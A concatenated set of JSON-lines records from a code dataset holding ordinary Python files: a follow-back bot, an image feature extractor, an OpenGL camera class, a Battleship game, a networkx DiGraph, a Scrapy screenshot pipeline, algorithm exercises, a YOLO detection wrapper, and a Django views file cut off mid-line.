(list(set(FollowMe) - set(IFollow)))\n print(addfriends, file=fileOut)\n\n counter1 = 0\n for i in addfriends:\n addStr = \"/me/followings/\"+str(i)\n print(\"Adding::\",addStr)\n client.put(addStr)\n if (counter1%50 == 0):\n time.sleep(10)\n counter1 += 1\n\ndef grab_followers_id(client):\n page_limit = 50\n tList = []\n followerscount = client.get('/me').followers_count\n page_off = -1\n # Get names of each follower\n print(\"FOLLOWERS:\"+str(+followerscount))\n for i in range(int(followerscount / page_limit) + 1):\n followers = client.get('/me/followers', offset=page_off, limit = page_limit )\n\n\n for follower in followers:\n tList.append(follower.id)\n\n\n page_off += page_limit\n time.sleep(10)\n return tList\n\n\ndef grab_following_id(client):\n page_limit = 50\n tList = []\n followerscount = client.get('/me').followings_count\n page_off = -1\n # Get names of each follower\n print(\"FOLLOWERS:\"+str(+followerscount))\n for i in range(int(followerscount / page_limit) + 1):\n\n followers = client.get('/me/followings', offset=page_off, limit = page_limit )\n\n\n for follower in followers:\n tList.append(follower.id)\n\n\n page_off += page_limit\n time.sleep(10)\n return tList\n\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"addfriends.py","file_name":"addfriends.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"603117349","text":"from sklearn.preprocessing import LabelEncoder\r\nfrom sklearn.preprocessing import MinMaxScaler, StandardScaler\r\nimport numpy as np\r\nimport cv2\r\nimport os\r\nimport h5py\r\nfrom features import fd_hu_moments, fd_haralick, fd_histogram, fd_4, fd_5, fd_6\r\n\r\n\r\nimages_per_class = 250\r\nfixed_size = tuple((500, 500))\r\ntrain_path = os.path.join('data', 'train')\r\noutput_dir = 'output'\r\nh5_data = os.path.join(output_dir, 'data.h5')\r\nh5_labels = os.path.join(output_dir, 'labels.h5')\r\n\r\ntrain_labels = os.listdir(train_path)\r\n\r\ntrain_labels.sort()\r\nprint(train_labels)\r\n\r\nglobal_features = []\r\nlabels = []\r\n\r\nfor training_name in train_labels:\r\n current_dir = os.path.join(train_path, training_name)\r\n images = [f for f in os.listdir(current_dir) if os.path.isfile(os.path.join(current_dir, f)) and f.endswith(\".jpg\")]\r\n\r\n current_label = training_name\r\n\r\n for file in images:\r\n file_path = os.path.join(current_dir, file)\r\n\r\n image = cv2.imread(file_path)\r\n image = cv2.resize(image, fixed_size)\r\n\r\n fv_hu_moments=fd_hu_moments(image)\r\n fv_histogram=fd_histogram(image)\r\n fv_haralick = fd_haralick(image)\r\n fv_4 = fd_4(image)\r\n fv_5= fd_5(image)\r\n fv_6 = fd_6(image)\r\n global_feature = np.hstack([fv_6, fv_5])\r\n\r\n labels.append(current_label)\r\n global_features.append(global_feature)\r\n\r\n print(\"[STATUS] processed folder: {}\".format(current_label))\r\n\r\nprint(\"[STATUS] completed Global Feature Extraction...\")\r\n\r\nprint(\"[STATUS] feature vector size {}\".format(np.array(global_features).shape))\r\n\r\nprint(\"[STATUS] training Labels {}\".format(np.array(labels).shape))\r\n\r\ntargetNames = np.unique(labels)\r\nle = LabelEncoder()\r\ntarget = le.fit_transform(labels)\r\nprint(\"[STATUS] training labels encoded...\")\r\n\r\nrescaled_features = global_features\r\nprint(\"[STATUS] feature vector normalized...\")\r\n\r\nprint(\"[STATUS] target labels: {}\".format(target))\r\nprint(\"[STATUS] target labels shape: {}\".format(target.shape))\r\n\r\nif not os.path.exists(output_dir):\r\n os.makedirs(output_dir)\r\n\r\nh5f_data = h5py.File(h5_data, 'w')\r\nh5f_data.create_dataset('dataset_1', data=np.array(rescaled_features))\r\n\r\nh5f_label = h5py.File(h5_labels, 'w')\r\nh5f_label.create_dataset('dataset_1', data=np.array(target))\r\n\r\nh5f_data.close()\r\nh5f_label.close()\r\n\r\nprint(\"[STATUS] end of training..\")\r\n\r\n","sub_path":"3-4/prepare.py","file_name":"prepare.py","file_ext":"py","file_size_in_byte":2356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"320654038","text":"# -*- encoding: UTF-8 -*-\nimport logging as log\nimport numpy as np\n\nclass Camera(object):\n\n def __init__(self, intrinsic, W, H, near, far, originIsInTopLeft=True):\n '''\n Args:\n intrinsic: 3x3 intrinsic camera matrix from real camera (without any OpenGL stuff)\n W: Width of the camera image\n H: Height of the camera image\n near: Near plane\n far: Far plane\n originIsInTopLeft: If True then the image origin is in top left\n if False the image origin is in image center\n '''\n self.__intrinsic = intrinsic\n self.__check_matrix__()\n self.__W = W\n self.__H = H\n self.__near = float(near)\n self.__far = float(far)\n self.__originIsInTopLeft = originIsInTopLeft\n self.__openGLMat = self.__toOpenGLCamera__()\n\n def getOpenGLCameraMatrix(self):\n return self.__openGLMat\n\n def __check_matrix__(self):\n I = self.__intrinsic\n if len(I.shape) != 2:\n log.error('Camera Matrix not 2D but %dD' % len(I.shape))\n exit(-1)\n elif I.shape != (3,3):\n log.error('Camera Matrix is not 3x3 but %dx%d' % I.shape)\n exit(-1)\n elif I[1,0] != 0.0:\n log.error('Camera Matrix Error: Expected Element @ 1,0 to be 0.0 but it\\'s: %.f' % I[1,0])\n exit(-1)\n elif I[2,0] != 0.0:\n log.error('Camera Matrix Error: Expected Element @ 2,0 to be 0.0 but it\\'s: %.f' % I[2,0])\n exit(-1)\n elif I[2,1] != 0.0:\n log.error('Camera Matrix Error: Expected Element @ 2,1 to be 0.0 but it\\'s: %.f' % I[2,1])\n exit(-1)\n elif I[2,2] != 1.0:\n log.error('Camera Matrix Error: Expected Element @ 2,2 to be 1.0 but it\\'s: %.f' % I[2,2])\n exit(-1)\n else:\n log.debug('Camera Matrix valid.')\n\n def __toOpenGLCamera__(self):\n '''\n Source: http://ksimek.github.io/2013/06/03/calibrated_cameras_in_opengl/\n '''\n # All Matrices are Row Major\n I = self.__intrinsic\n W, H = self.__W, self.__H\n near, far = self.__near, self.__far\n A = near + far\n B = near * far\n persp = np.array( [ [ I[0,0], I[0,1], -I[0,2], 0 ],\n [ 0 , I[1,1], -I[1,2], 0 ],\n [ 0 , 0 , A , B ],\n [ 0 , 0 , -1 , 0 ] ] , dtype=np.float64)\n ortho = self.__glOrtho__(0, W, H, 0, near, far) if self.__originIsInTopLeft else\\\n self.__glOrtho__(-W/2., W/2., -H/2., H/2., near, far)\n\n return np.dot( ortho, persp ).astype(np.float32)\n\n @staticmethod\n def __glOrtho__(left, right, bottom, top, nearVal, farVal):\n '''\n Source: https://www.opengl.org/sdk/docs/man2/xhtml/glOrtho.xhtml\n '''\n tx = - (right+left) / (right-left)\n ty = - (top+bottom) / (top-bottom)\n tz = - (farVal+nearVal) / (farVal-nearVal)\n return np.array([ [ 2./(right-left), 0., 0., tx ],\n [ 0., 2. / (top - bottom), 0., ty ],\n [ 0., 0., -2. / (farVal - nearVal), tz ],\n [ 0., 0., 0., 1. ]] , dtype=np.float64)","sub_path":"dataset_generator/v1/Camera.py","file_name":"Camera.py","file_ext":"py","file_size_in_byte":3591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"465369144","text":"from classes import *\r\nimport os\r\nfrom functions import *\r\ncleaner()\r\nprint('Welcome to Battelship')\r\nplayer1 = Player(eval(input('Enter name, first player''\\n')))\r\nplayer2 = Player(eval(input('Enter name, second player''\\n')))\r\nplayers = [player1, player2]\r\nempty_field1 = (empty_field_generator())\r\nempty_field2 = (empty_field_generator())\r\nfields = [field1, field2, empty_field1, empty_field2]\r\ncleaner()\r\nwhile True:\r\n print_field(empty_field2, field1)\r\n coordinate1 = player1.read_position(eval(input('{}, enter the coordinates (\"Steve\" - example)''\\n'.format(player1.name))))\r\n empty_field2 = hitting(field2, empty_field2, coordinate1)\r\n cleaner()\r\n print_field(empty_field2, field1)\r\n counter = x_counter(empty_field2)\r\n if counter == 20:\r\n print('{} wins!!!'.format(player1.name))\r\n break\r\n enter_input()\r\n cleaner()\r\n print_field(empty_field1, field2)\r\n coordinate2 = player2.read_position(eval(input('{}, enter the coordinates ((\"A\", 3) - example)''\\n'.format(player2.name))))\r\n empty_field1 = hitting(field1, empty_field1, coordinate2)\r\n cleaner()\r\n print_field(empty_field1, field2)\r\n counter = x_counter(empty_field1)\r\n if counter == 20:\r\n print('{} wins!!!'.format(player2.name))\r\n break\r\n enter_input()\r\n cleaner()\r\n","sub_path":"Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"23458039","text":"\n__author__ = \"\\n\".join(['Aric Hagberg (hagberg@lanl.gov)',\n\t\t\t\t\t\t'Pieter Swart (swart@lanl.gov)',\n\t\t\t\t\t\t'Dan Schult(dschult@colgate.edu)'])\n# Copyright (C) 2004-2009 by \n# Aric Hagberg \n# Dan Schult \n# Pieter Swart \n# All rights reserved.\n# BSD license.\n#\n\nfrom networkx.classes.graph import Graph\nfrom networkx.exception import NetworkXException, NetworkXError\nfrom copy import deepcopy\n\nclass DiGraph(Graph):\n \n def __init__(self, data=None, name='', **attr):\n \n self.graph = {} # dictionary for graph attributes\n self.node = {} # dictionary for node attributes\n # We store two adjacency lists:\n # the predecessors of node n are stored in the dict self.pred\n # the successors of node n are stored in the dict self.succ=self.adj\n self.adj = {} # empty adjacency dictionary\n self.pred = {} # predecessor\n self.succ = self.adj # successor\n\n # load graph attributes (must be after convert)\n self.graph.update(attr)\n\n self.name=name\n self.edge=self.adj\n\n \n def add_node(self, n, attr_dict=None, **attr):\n \n # set up attribute dict\n if attr_dict is None:\n attr_dict=attr\n else:\n try:\n attr_dict.update(attr)\n except AttributeError:\n raise NetworkXError(\\\n \"The attr_dict argument must be a dictionary.\")\n if n not in self.succ:\n self.succ[n] = {}\n self.pred[n] = {}\n self.node[n] = attr_dict\n else: # update attr even if node already exists \n self.node[n].update(attr_dict)\n\n def add_nodes_from(self, nodes, **attr):\n \n for n in nodes:\n if n not in self.succ:\n self.succ[n] = {}\n self.pred[n] = {}\n self.node[n] = attr\n else: # update attr even if node already exists \n self.node[n].update(attr)\n\n\n def remove_node(self, n):\n \n try:\n nbrs=self.succ[n]\n del self.node[n]\n except KeyError: # NetworkXError if n not in self\n raise NetworkXError(\"The node %s is not in the digraph.\"%(n,))\n for u in nbrs:\n del self.pred[u][n] # remove all edges n-u in digraph\n del self.succ[n] # remove node from succ\n for u in self.pred[n]: \n del self.succ[u][n] # remove all edges n-u in digraph\n del self.pred[n] # remove node from pred\n\n\n def remove_nodes_from(self, nbunch):\n \n for n in nbunch: \n try:\n succs=self.succ[n]\n del self.node[n]\n for u in succs: \n del self.pred[u][n] # remove all edges n-u in digraph\n del self.succ[n] # now remove node\n for u in self.pred[n]: \n del self.succ[u][n] # remove all edges n-u in digraph\n del self.pred[n] # now remove node\n except KeyError:\n pass # silent failure on remove\n\n\n def add_edge(self, u, v, attr_dict=None, **attr): \n \n # set up attribute dict\n if attr_dict is None:\n attr_dict=attr\n else:\n try:\n attr_dict.update(attr)\n except AttributeError:\n raise NetworkXError(\\\n \"The attr_dict argument must be a dictionary.\")\n # add nodes \n if u not in self.succ: \n self.succ[u]={}\n self.pred[u]={}\n self.node[u] = {}\n if v not in self.succ: \n self.succ[v]={}\n self.pred[v]={}\n self.node[v] = {}\n # add the edge\n datadict=self.adj[u].get(v,{})\n datadict.update(attr_dict)\n self.succ[u][v]=datadict\n self.pred[v][u]=datadict\n\n def add_edges_from(self, ebunch, attr_dict=None, **attr): \n \n # set up attribute dict\n if attr_dict is None:\n attr_dict=attr\n else:\n try:\n attr_dict.update(attr)\n except AttributeError:\n raise NetworkXError(\\\n \"The attr_dict argument must be a dict.\")\n # process ebunch\n for e in ebunch:\n ne = len(e)\n if ne==3:\n u,v,dd = e\n assert hasattr(dd,\"update\")\n elif ne==2:\n u,v = e\n dd = {}\n else: \n raise NetworkXError(\\\n \"Edge tuple %s must be a 2-tuple or 3-tuple.\"%(e,))\n if u not in self.succ: \n self.succ[u] = {}\n self.pred[u] = {}\n self.node[u] = {}\n if v not in self.succ: \n self.succ[v] = {}\n self.pred[v] = {}\n self.node[v] = {}\n datadict=self.adj[u].get(v,{})\n datadict.update(attr_dict) \n datadict.update(dd)\n self.succ[u][v] = datadict\n self.pred[v][u] = datadict\n\n\n def remove_edge(self, u, v):\n \n try:\n del self.succ[u][v] \n del self.pred[v][u] \n except KeyError: \n raise NetworkXError(\"The edge %s-%s not in graph.\"%(u,v))\n\n\n def remove_edges_from(self, ebunch): \n \n for e in ebunch:\n (u,v)=e[:2] # ignore edge data\n if u in self.succ and v in self.succ[u]:\n del self.succ[u][v] \n del self.pred[v][u] \n\n\n def has_successor(self, u, v):\n \n return (u in self.succ and v in self.succ[u])\n\n def has_predecessor(self, u, v):\n \n return (u in self.pred and v in self.pred[u]) \n\n def successors_iter(self,n):\n \n try:\n return self.succ[n].iterkeys()\n except KeyError:\n raise NetworkXError(\"The node %s is not in the digraph.\"%(n,))\n\n def predecessors_iter(self,n):\n \n try:\n return self.pred[n].iterkeys()\n except KeyError:\n raise NetworkXError(\"The node %s is not in the digraph.\"%(n,))\n\n def successors(self, n):\n \n return list(self.successors_iter(n))\n\n def predecessors(self, n):\n \n return list(self.predecessors_iter(n))\n\n\n # digraph definitions \n neighbors = successors\n neighbors_iter = successors_iter\n\n def edges_iter(self, nbunch=None, data=False):\n \n if nbunch is None:\n nodes_nbrs=self.adj.iteritems()\n else:\n nodes_nbrs=((n,self.adj[n]) for n in self.nbunch_iter(nbunch))\n if data:\n for n,nbrs in nodes_nbrs:\n for nbr,data in nbrs.iteritems():\n yield (n,nbr,data)\n else:\n for n,nbrs in nodes_nbrs:\n for nbr in nbrs:\n yield (n,nbr)\n\n # alias out_edges to edges\n out_edges_iter=edges_iter\n out_edges=Graph.edges\n\n def in_edges_iter(self, nbunch=None, data=False):\n \n if nbunch is None:\n nodes_nbrs=self.pred.iteritems()\n else:\n nodes_nbrs=((n,self.pred[n]) for n in self.nbunch_iter(nbunch))\n if data:\n for n,nbrs in nodes_nbrs:\n for nbr,data in nbrs.iteritems():\n yield (nbr,n,data)\n else:\n for n,nbrs in nodes_nbrs:\n for nbr in nbrs:\n yield (nbr,n)\n\n def in_edges(self, nbunch=None, data=False):\n \n return list(self.in_edges_iter(nbunch, data))\n\n def degree_iter(self, nbunch=None, weighted=False):\n \n from itertools import izip\n if nbunch is None:\n nodes_nbrs=izip(self.succ.iteritems(),self.pred.iteritems())\n else:\n nodes_nbrs=izip(\n ((n,self.succ[n]) for n in self.nbunch_iter(nbunch)),\n ((n,self.pred[n]) for n in self.nbunch_iter(nbunch)))\n\n if weighted: \n # edge weighted graph - degree is sum of edge weights\n for (n,succ),(n2,pred) in nodes_nbrs:\n yield (n, \n sum((succ[nbr].get('weight',1) for nbr in succ))+\n sum((pred[nbr].get('weight',1) for nbr in pred)))\n else:\n for (n,succ),(n2,pred) in nodes_nbrs:\n yield (n,len(succ)+len(pred)) \n\n def in_degree_iter(self, nbunch=None, weighted=False):\n \n if nbunch is None:\n nodes_nbrs=self.pred.iteritems()\n else:\n nodes_nbrs=((n,self.pred[n]) for n in self.nbunch_iter(nbunch))\n \n if weighted: \n # edge weighted graph - degree is sum of edge weights\n for n,nbrs in nodes_nbrs:\n yield (n, sum((nbrs[nbr].get('weight',1) for nbr in nbrs)))\n else:\n for n,nbrs in nodes_nbrs:\n yield (n,len(nbrs))\n\n\n def out_degree_iter(self, nbunch=None, weighted=False):\n \n if nbunch is None:\n nodes_nbrs=self.succ.iteritems()\n else:\n nodes_nbrs=((n,self.succ[n]) for n in self.nbunch_iter(nbunch))\n \n if weighted: \n # edge weighted graph - degree is sum of edge weights\n for n,nbrs in nodes_nbrs:\n yield (n, sum((nbrs[nbr].get('weight',1) for nbr in nbrs)))\n else:\n for n,nbrs in nodes_nbrs:\n yield (n,len(nbrs))\n\n\n def in_degree(self, nbunch=None, with_labels=False, weighted=False):\n \n if with_labels: # return a dict\n return dict(self.in_degree_iter(nbunch,weighted=weighted))\n elif nbunch in self: # return a single node\n return self.in_degree_iter(nbunch,weighted=weighted).next()[1]\n else: # return a list\n return [d\n for (n,d) in self.in_degree_iter(nbunch,weighted=weighted)]\n\n\n def out_degree(self, nbunch=None, with_labels=False, weighted=False):\n \n if with_labels: # return a dict\n return dict(self.out_degree_iter(nbunch,weighted=weighted))\n elif nbunch in self: # return a single node\n return self.out_degree_iter(nbunch,weighted=weighted).next()[1]\n else: # return a list\n return [d for\n (n,d) in self.out_degree_iter(nbunch,weighted=weighted)]\n\n def clear(self):\n \n self.name=''\n self.succ.clear() \n self.pred.clear() \n self.node.clear()\n self.graph.clear()\n\n\n def is_multigraph(self):\n \n return False\n\n\n def is_directed(self):\n \n return True\n\n def to_directed(self):\n \n return deepcopy(self)\n\n def to_undirected(self):\n \n H=Graph()\n H.name=self.name\n H.add_nodes_from(self)\n H.add_edges_from( (u,v,deepcopy(d)) \n for u,nbrs in self.adjacency_iter()\n for v,d in nbrs.iteritems() )\n H.graph=deepcopy(self.graph)\n H.node=deepcopy(self.node)\n return H\n \n\n def reverse(self, copy=True):\n \n if copy:\n H = self.__class__(name=\"Reverse of (%s)\"%self.name)\n H.pred=self.succ.copy()\n H.adj=self.pred.copy()\n H.succ=H.adj\n H.graph=self.graph.copy()\n H.node=self.node.copy()\n else:\n self.pred,self.succ=self.succ,self.pred\n self.adj=self.succ\n H=self\n return H\n\n\n def subgraph(self, nbunch, copy=True):\n \n bunch = self.nbunch_iter(nbunch)\n # create new graph and copy subgraph into it \n H = self.__class__()\n H.name = \"Subgraph of (%s)\"%(self.name)\n # namespace shortcuts for speed\n H_succ=H.succ\n H_pred=H.pred\n self_succ=self.succ\n self_pred=self.pred\n # add nodes\n for n in bunch:\n H_succ[n]={}\n H_pred[n]={}\n # add edges\n for u in H_succ:\n Hnbrs=H_succ[u]\n for v,datadict in self_succ[u].iteritems():\n if v in H_succ:\n # add both representations of edge: u-v and v-u\n Hnbrs[v]=datadict\n H_pred[v][u]=datadict\n # copy node and attribute dictionaries\n H.node=self.node.copy()\n H.graph=self.graph.copy()\n return H\n","sub_path":"networkx/classes/digraph.py","file_name":"digraph.py","file_ext":"py","file_size_in_byte":12669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"175278466","text":"import re\r\nfrom urllib.parse import quote\r\nimport os\r\nimport scrapy\r\n\r\n\r\ndef clean_file_name(url: str):\r\n\tname = url.split('/')[~0]\r\n\treturn re.sub(r'[\\\\/:*\\\"<>|]', '', name)\r\n\r\n\r\nclass ScreenshotsPipeline(object):\r\n\t\"\"\"Pipeline that uses Splash to render screenshot of\r\n\tevery Scrapy item.\r\n\tRequire Splash installed and running\r\n\t(sudo docker pull scrapinghub/splash && sudo docker run -it -p 8050:8050 --rm scrapinghub/splash)\r\n\t\"\"\"\r\n\r\n\tSPLASH_URL = \"http://localhost:8050/render.png?url={}&wait=5&render_all=1&wait=5\"\r\n\r\n\tdef process_item(self, item, spider):\r\n\t\tencoded_item_url = quote(item[\"url\"])\r\n\t\tscreenshot_url = self.SPLASH_URL.format(encoded_item_url)\r\n\t\trequest = scrapy.Request(screenshot_url)\r\n\t\tdfd = spider.crawler.engine.download(request, spider)\r\n\t\tdfd.addBoth(self.return_item, item)\r\n\t\treturn dfd\r\n\r\n\tdef return_item(self, response, item):\r\n\t\tif response.status != 200:\r\n\t\t\t# Error happened, return item.\r\n\t\t\treturn item\r\n\r\n\t\tfolder = 'data/screenshots'\r\n\t\tif not os.path.isdir(folder):\r\n\t\t\tos.mkdir(folder)\r\n\t\turl = item[\"url\"]\r\n\t\tfilename = f\"{folder}/{clean_file_name(url)}.png\"\r\n\t\twith open(filename, \"wb\") as f:\r\n\t\t\tf.write(response.body)\r\n\t\treturn item\r\n","sub_path":"pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"50718907","text":"\n#85. Maximal Rectangle\n\ndef updateMax(maxArea, maxR, posE, posS):\n area = (posE[0]-posS[0]+1)*(posE[1]-posS[1]+1)\n #print((posS, posE, area, maxArea))\n if (area > maxArea):\n maxArea = area\n maxR = posE,posS\n\n return maxArea, maxR\n\ndef overlay(a, b):\n if (a[0] <= b[0] and b[0] <= a[1]):\n if (b[1] > a[1]): return (b[0], a[1])\n else: return b \n \n if (b[0] <= a[0] and a[0] <= b[1]):\n if (a[1] > b[1]): return (a[0], b[1])\n else: return a\n \n return None \n\ndef maxRect(matrix):\n rowc = len(matrix)\n colc = len(matrix[0])\n maxArea = 0\n maxR = None\n segs = [[] for i in range(rowc)]\n for i in range(rowc):\n start = -1\n for j in range(colc+1):\n if (j < colc and matrix[i][j] == 1):\n if (start == -1): start = j\n else:\n if (start != -1): \n segs[i].append((start, j-1))\n maxArea, maxR = updateMax(maxArea, maxR, (i, j-1), (i, start))\n start = -1\n\n #print(segs[i]) \n\n for j in range(i-1, -1, -1):\n ii = jj = 0\n imm = []\n while (ii < len(segs[i]) and jj < len(segs[j])): \n ov = overlay(segs[i][ii], segs[j][jj])\n if (ov != None): \n imm.append(ov)\n maxArea, maxR = updateMax(maxArea, maxR, (i, ov[1]), (j, ov[0]))\n\n if (segs[i][ii][1] > segs[j][jj][1]): jj += 1\n else: ii += 1\n \n segs[j] = imm\n\n return maxR, maxArea \n\nm1 = [[1,0,1,0,0],\n [1,0,1,1,1],\n [1,1,1,1,1],\n [1,0,0,1,0]]\n\nm2 = [[1,0,1,0,0],\n [1,0,1,0,1],\n [1,1,1,1,1],\n [1,0,0,1,0]]\n\nm3 = [[0,1,1,0,0],\n [0,1,1,0,1],\n [1,1,1,1,1],\n [1,0,0,1,0]]\n\nprint(\"==========\")\nprint(maxRect(m1))\nprint(\"==========\")\nprint(maxRect(m2))\nprint(\"==========\")\nprint(maxRect(m3))\n\n","sub_path":"Leetcode/85.py","file_name":"85.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"403398823","text":"#Agenda Telefonica\n#V0.1 BY Abdiel Carrasco\n\n#Importamos el modulo que contiene las funcines.\nimport funciones\n\nfunciones.bienvenidos()\n\n#Seleccion de opcion por usuario\nopcion = int(raw_input())\nprint(\"Seleccionaste\",opcion)\n#Fin de Opciones de usuario\n\n#Estructura de control que maneja las funciones a ejecutar.\nif opcion == 1:\n\tfunciones.escribir()\nelif opcion == 2:\t\n\tfunciones.listar()\nelse:\n\tfunciones.falla()\t\n#Fin de la estrucrura de control\n#Finde de programa Agenda Telefonica V 0.1\t\n\n","sub_path":"agenda.py","file_name":"agenda.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"317186984","text":"\"\"\"\nThis Script is used for Detection purposes whether it's video or images\n\nand also be used for Real-Time Detection\n\nAuthor: Tushar Goel\n\n\"\"\"\n\nimport os\nimport sys\nfrom .yolo import YOLO,detect_video\nfrom PIL import Image\nfrom timeit import default_timer as timer\nfrom .utils import load_extractor_model, load_features, parse_input, detect_object\nimport pandas as pd\nimport numpy as np\nfrom .Yolo_Format import GetFileList\nimport random\n\n\ndef Detector(working_directory,output_directory,test_folder_name,classes = [],model_name=None,score=0.5,gpu_num = 1):\n \"\"\"\n This Function will be used for Detection of Objects in Video Or Images\n \n Arguments:\n working_directory --> Working Directory where weights and Test Images are Kept.\n Test_Folder_name --> Name of the Test Folder name.\n model_name --> Name of the Model(None--> using yolov4.h5)\n \n Return:\n Detections\n \n \"\"\"\n image_test_folder = os.path.join(working_directory,test_folder_name)\n\n if model_name == 'yolov4.h5':\n model_weights = os.path.join(output_directory,'yolov4.h5')\n model_classes = os.path.join(os.path.dirname(__file__),'coco_classes.txt')\n else:\n model_weights = os.path.join(output_directory,model_name)\n model_classes = os.path.join(working_directory,'data_classes.txt')\n \n anchors_path = os.path.join(os.path.dirname(__file__),'yolo4_anchors.txt')\n detection_results_file = os.path.join(output_directory,'Detections_results.csv')\n postfix = 'Detection'\n save_img = True\n \n input_paths = GetFileList(dirName = image_test_folder)\n img_endings = (\".jpg\", \".jpeg\", \".png\")\n vid_endings = (\".mp4\", \".mpeg\", \".mpg\", \".avi\",\".mkv\")\n\n input_image_paths = []\n input_video_paths = []\n for item in input_paths:\n if item.endswith(img_endings):\n input_image_paths.append(item)\n elif item.endswith(vid_endings):\n input_video_paths.append(item)\n\n output_path = os.path.join(working_directory,'Test_results')\n if not os.path.exists(output_path):\n os.makedirs(output_path)\n \n # define YOLO detector\n yolo = YOLO(\n **{\n \"model_path\": model_weights,\n \"anchors_path\": anchors_path,\n \"classes_path\": model_classes,\n \"score\": score,\n \"gpu_num\": gpu_num,\n \"model_image_size\": (608,608),\n }\n )\n \n # Make a dataframe for the prediction outputs\n out_df = pd.DataFrame(\n columns=[\n \"image\",\n \"image_path\",\n \"xmin\",\n \"ymin\",\n \"xmax\",\n \"ymax\",\n \"label\",\n \"confidence\",\n \"x_size\",\n \"y_size\",\n ]\n )\n \n # labels to draw on images\n class_file = open(model_classes, \"r\")\n input_labels = [line.rstrip(\"\\n\") for line in class_file.readlines()]\n print(\"Found {} input labels: {} ...\".format(len(input_labels), input_labels))\n\n if input_image_paths:\n print(\n \"Found {} input images: {} ...\".format(\n len(input_image_paths),\n [os.path.basename(f) for f in input_image_paths[:5]],\n )\n )\n start = timer()\n text_out = \"\"\n \n # This is for images\n for i, img_path in enumerate(input_image_paths):\n print(img_path)\n prediction, image = detect_object(\n yolo,\n img_path,\n save_img=save_img,\n save_img_path=output_path,\n postfix=postfix,\n )\n y_size, x_size, _ = np.array(image).shape\n for single_prediction in prediction:\n out_df = out_df.append(\n pd.DataFrame(\n [\n [\n os.path.basename(img_path.rstrip(\"\\n\")),\n img_path.rstrip(\"\\n\"),\n ]\n + single_prediction\n + [x_size, y_size]\n ],\n columns=[\n \"image\",\n \"image_path\",\n \"xmin\",\n \"ymin\",\n \"xmax\",\n \"ymax\",\n \"label\",\n \"confidence\",\n \"x_size\",\n \"y_size\",\n ],\n )\n )\n end = timer()\n print(\n \"Processed {} images in {:.1f}sec - {:.1f}FPS\".format(\n len(input_image_paths),\n end - start,\n len(input_image_paths) / (end - start),\n )\n )\n out_df.to_csv(detection_results_file, index=False)\n \n # This is for videos\n if input_video_paths:\n print(\n \"Found {} input videos: {} ...\".format(\n len(input_video_paths),\n [os.path.basename(f) for f in input_video_paths[:5]],\n )\n )\n start = timer()\n for i, vid_path in enumerate(input_video_paths):\n output_path = os.path.join(\n output_path,\n os.path.basename(vid_path).replace(\".\", postfix + \".\"),\n )\n detect_video(yolo, vid_path, output_path=output_path)\n\n end = timer()\n print(\n \"Processed {} videos in {:.1f}sec\".format(\n len(input_video_paths), end - start\n )\n )\n # Close the current yolo session\n yolo.close_session()\n\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n ","sub_path":"DarkNeurons/Detection.py","file_name":"Detection.py","file_ext":"py","file_size_in_byte":5870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"301030297","text":"# Given the tuple below that represents the Imelda May album \"More Mayhem\", write\n# code to print the album details, followed by a listing of all the tracks in the album.\n#\n# Indent the tracks by a single tab stop when printing them (remember that you can pass\n# more than one item to the print function, separating them with a comma).\n#\n# More Mayhem\n# Imelda May\n# 2011\n# \tTrack number 1, Title: Pulling the Rug\n# \tTrack number 2, Title: Psycho\n# \tTrack number 3, Title: Mayhem\n# \tTrack number 4, Title: Kentish Town Waltz\n# \tTrack number 5, Title: All For You\n# \tTrack number 6, Title: Eternity\n\nimelda = \"More Mayhem\", \"Imelda May\", 2011, (\n (1, \"Pulling the Rug\"), (2, \"Psycho\"), (3, \"Mayhem\"), (4, \"Kentish Town Waltz\"))\n\nprint(\"\"\"\n{0}\n{1}\n{2}\"\"\".format(imelda[0], imelda[1], imelda[2]))\nfor title in imelda[3]:\n print(\"\\tTrack number {0}, Title: {1}\".format(title[0], title[1]))","sub_path":"Python_Udemy/Section 7/7_8_challenge_tuples.py","file_name":"7_8_challenge_tuples.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"84201255","text":"import mock\nimport unittest\n\nfrom swimlane.records import add_references\n\n\nclass RecordsTestCase(unittest.TestCase):\n @mock.patch('swimlane.records.App', autospec=True)\n def test_add_references_app_not_found(self, mock_app):\n mock_app.find.return_value = None\n self.assertRaises(\n Exception,\n lambda: add_references('123', 'keywords'))\n mock_app.find.assert_called_once_with(app_id=None, name=None)\n\n @mock.patch('swimlane.records.App', autospec=True)\n def test_add_references_field_id_not_found(self, mock_app):\n mock_app_instance = mock.MagicMock()\n mock_app_instance.field_id.return_value = None\n mock_app.find.return_value = mock_app_instance\n self.assertRaises(\n Exception,\n lambda: add_references('123', 'keywords', field_name='foo'))\n mock_app_instance.field_id.assert_called_once_with('foo')\n","sub_path":"tests/test_records.py","file_name":"test_records.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"485713301","text":"from django.shortcuts import render ,get_object_or_404\r\nfrom django.http import HttpResponse , HttpResponseRedirect\r\nfrom django.template import loader\r\nfrom django.utils.text import slugify\r\nfrom movie.models import Movie ,Rating ,Genre \r\nfrom actor.models import Actor\r\nfrom django.core.paginator import Paginator\r\nimport requests\r\n# Create your views here.\r\ndef index(request):\r\n query = 